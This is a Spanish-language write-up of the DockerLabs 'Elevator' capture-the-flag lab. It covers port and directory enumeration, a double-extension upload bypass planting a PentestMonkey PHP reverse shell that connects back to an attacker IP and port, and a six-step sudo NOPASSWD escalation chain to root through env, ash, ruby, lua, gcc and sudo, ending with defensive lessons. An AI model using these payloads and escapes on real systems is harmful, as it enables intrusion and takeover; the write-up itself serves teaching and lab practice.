> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/elevator.md).

# Elevator

***

## 1. Reconocimiento

Lo primero es identificar qué servicios están corriendo en la máquina objetivo. Se utiliza **Nmap** con detección de versiones y scripts por defecto contra la IP `172.17.0.2`.

```bash
sudo nmap -sV -p- -T4 172.17.0.2
```

**Resultados relevantes:**

| Puerto | Estado | Servicio | Versión                      |
| ------ | ------ | -------- | ---------------------------- |
| 80/tcp | open   | http     | Apache httpd 2.4.62 (Debian) |

Solo hay un puerto abierto. La superficie de ataque es una aplicación web sobre Apache.

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2F7WWzjXgZE9EnFk2etcDK%2FPasted%20image%2020260416013942.png?alt=media\&token=b81cf2aa-3796-458b-8639-b6024f86afb3)

***

## 2. Enumeración de directorios

Con la web en el puerto 80 identificada, se procede a enumerar rutas ocultas usando **Gobuster** con la wordlist `common.txt`.

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php -b 403 --exclude-length 391
```

**Rutas descubiertas (primera pasada):**

| Ruta           | Código | Observación      |
| -------------- | ------ | ---------------- |
| `/index.html`  | 200    | Página principal |
| `/javascript/` | 301    | **Forbidden**    |
| `/themes/`     | 301    | **Forbidden**    |

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FDPtlyhM1nUXQWn1U9LFI%2FPasted%20image%2020260416014134.png?alt=media\&token=a4a47c94-328e-47f3-a65d-7dc0e151b511)

La ruta `/themes/` es interesante aunque devuelva 403. Se realiza una segunda enumeración apuntando directamente a ese subdirectorio con una wordlist más amplia (`DirBuster-2007`).

```bash
gobuster dir -u http://172.17.0.2/themes \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,txt,php,bak,sh,asp,aspx -b 403,404 -t 60
```

**Rutas descubiertas (segunda pasada):**

| Ruta                   | Código | Observación                    |
| ---------------------- | ------ | ------------------------------ |
| `/themes/upload.php`   | 200    | Panel de subida de archivos    |
| `/themes/uploads/`     | 301    | Directorio de archivos subidos |
| `/themes/archivo.html` | 200    | Página adicional               |

Se confirma la existencia de un **formulario de subida de archivos** y un directorio de almacenamiento accesible.

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FtpMgzKa2qnOFgUecfQXk%2FPasted%20image%2020260416015623.png?alt=media\&token=cb1ace7f-d2b9-4e75-b062-619b2da2c3ee)

***

## 3. Explotación — File Upload Bypass

### Análisis del formulario

Navegando a `http://172.17.0.2/themes/upload.php` se encuentra un formulario que, según indica, **solo acepta archivos `.jpg`**. Sin embargo, la validación es del lado del cliente (o superficial en el servidor), lo que permite una técnica clásica de **extensión doble**.

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2F87Z1IETs6zYvRzJpfSRa%2FPasted%20image%2020260416015808.png?alt=media\&token=bfb57374-71f6-4769-acb1-bd061500e252)

### Técnica: PHP Webshell con extensión `.php.jpg`

Se crea una reverse shell en PHP usando el payload de **PentestMonkey** (configurado hacia la IP del atacante `172.17.1` en el puerto `9002`) y se guarda con el nombre `shell.php.jpg` para evadir el filtro de extensión.

```bash
nano shell.php.jpg
```

El archivo contiene el payload PHP con los parámetros:

```php
$ip = '172.17.0.1';
$port = 9002;
```

Se sube el archivo a través del formulario. La respuesta del servidor confirma la subida exitosa:

> *"El archivo ha sido subido correctamente: uploads/69e025ea1a791.jpg"*

El archivo es accesible en `/themes/uploads/`.

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FCCfnQZlQoXC6cIpAbVFO%2FPasted%20image%2020260416015759.png?alt=media&amp;token=c40fe0de-7ba5-48f2-9a6a-4219ea8254dc" alt=""></div>

***

## 4. Reverse Shell

### Configuración del listener

Antes de ejecutar el payload, se abre un listener con **Netcat** en la máquina atacante:

```bash
nc -lvnp 9002
```

### Ejecución del payload

Se accede directamente a la URL del archivo subido para que Apache lo ejecute como PHP:

```
http://172.17.0.2/themes/uploads/69e025ea1a791.jpg
```

La conexión entrante es recibida por el listener. Se obtiene una shell como `www-data`.

```bash
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FwctC7f8mode0jaZXuQuF%2FPasted%20image%2020260416015821.png?alt=media\&token=4f701a6d-5825-4141-bd49-651cc9207aa1)

***

## 5. Escalada de privilegios

La escalada sigue una **cadena de usuarios** aprovechando permisos `sudo` mal configurados (`NOPASSWD`). Cada usuario puede ejecutar un binario como el siguiente sin contraseña, y todos estos binarios permiten escapar a una shell.

### Paso 1: `www-data` → `daphne`

```bash
$ sudo -l
# www-data puede ejecutar: (daphne) NOPASSWD: /usr/bin/env

sudo -u daphne /usr/bin/env /bin/sh -p
$ id
uid=1000(daphne) gid=1000(daphne) groups=1000(daphne)
```

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FJb6375vILt1PiZPxUia0%2FPasted%20image%2020260416020151.png?alt=media&amp;token=fe54b9fe-22c8-4cab-83ca-374901a1483b" alt=""></div>

### Paso 2: `daphne` → `vilma`

```bash
$ sudo -l
# daphne puede ejecutar: (vilma) NOPASSWD: /usr/bin/ash

sudo -u vilma /usr/bin/ash -p
$ id
uid=1001(vilma) gid=1001(vilma) groups=1001(vilma)
```

![](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FlKSPGIJtehzk7dwu7WaC%2FPasted%20image%2020260416020238.png?alt=media\&token=f530a843-0a67-44b9-b055-1a63f28faaba)

### Paso 3: `vilma` → `shaggy`

```bash
$ sudo -l
# vilma puede ejecutar: (shaggy) NOPASSWD: /usr/bin/ruby

sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'
$ id
uid=1002(shaggy) gid=1002(shaggy) groups=1002(shaggy)
```

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fz97MYva7UgTpacYXdAaj%2FPasted%20image%2020260416020350.png?alt=media&amp;token=8daa1b6e-9bec-4744-9986-3e84d3dd0f7d" alt=""></div>

### Paso 4: `shaggy` → `fred`

```bash
$ sudo -l
# shaggy puede ejecutar: (fred) NOPASSWD: /usr/bin/lua

sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'
$ id
uid=1003(fred) gid=1003(fred) groups=1003(fred)
```

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2FHJBn2hbs6KOyomQZYxtw%2FPasted%20image%2020260416020435.png?alt=media&amp;token=cac11d21-99bc-4881-956d-5d0682122bf1" alt=""></div>

### Paso 5: `fred` → `scooby`

```bash
$ sudo -l
# fred puede ejecutar: (scooby) NOPASSWD: /usr/bin/gcc

sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s x
$ id
uid=1004(scooby) gid=1004(scooby) groups=1004(scooby)
```

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2F1rgPtlB6Yxa866yRiC8s%2FPasted%20image%2020260416020522.png?alt=media&amp;token=ac758dfb-a259-4fdb-a10b-07138448aca8" alt=""></div>

### Paso 6: `scooby` → `root`

```bash
$ sudo -l
# scooby puede ejecutar: (root) NOPASSWD: /usr/bin/sudo

sudo -u root /usr/bin/sudo /bin/sh
$ id
uid=0(root) gid=0(root) groups=0(root)
```

**¡Root obtenido!** ðŸŽ‰

<div align="left"><img src="https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fr59GZqrjnnI5AylVIQGY%2FPasted%20image%2020260416020606.png?alt=media&amp;token=bf38c2c3-4cd8-4825-8740-cc06a83effdb" alt=""></div>

***

## 6. Conclusión

### Resumen de la cadena de ataque

```
Reconocimiento (Nmap)
        ↓
Enumeración web (Gobuster)
        ↓
File Upload Bypass (.php.jpg)
        ↓
Reverse Shell (www-data)
        ↓
www-data → daphne (env)
        ↓
daphne → vilma (ash)
        ↓
vilma → shaggy (ruby)
        ↓
shaggy → fred (lua)
        ↓
fred → scooby (gcc)
        ↓
scooby → ROOT (sudo)
```

### Lecciones aprendidas

* **Validación de ficheros insuficiente:** Nunca confiar únicamente en la extensión del archivo. Implementar validación del tipo MIME real y ejecutar los archivos subidos desde un directorio sin permisos de ejecución de PHP.
* **Configuraciones sudo peligrosas:** El uso de `NOPASSWD` sobre binarios como `env`, `ruby`, `lua` o `gcc` equivale a dar acceso root indirecto. Consultar [GTFOBins](https://gtfobins.github.io) para identificar binarios peligrosos.
* **Principio de mínimo privilegio:** Los usuarios de aplicaciones web (`www-data`) no deberían poder ejecutar comandos como otros usuarios del sistema.
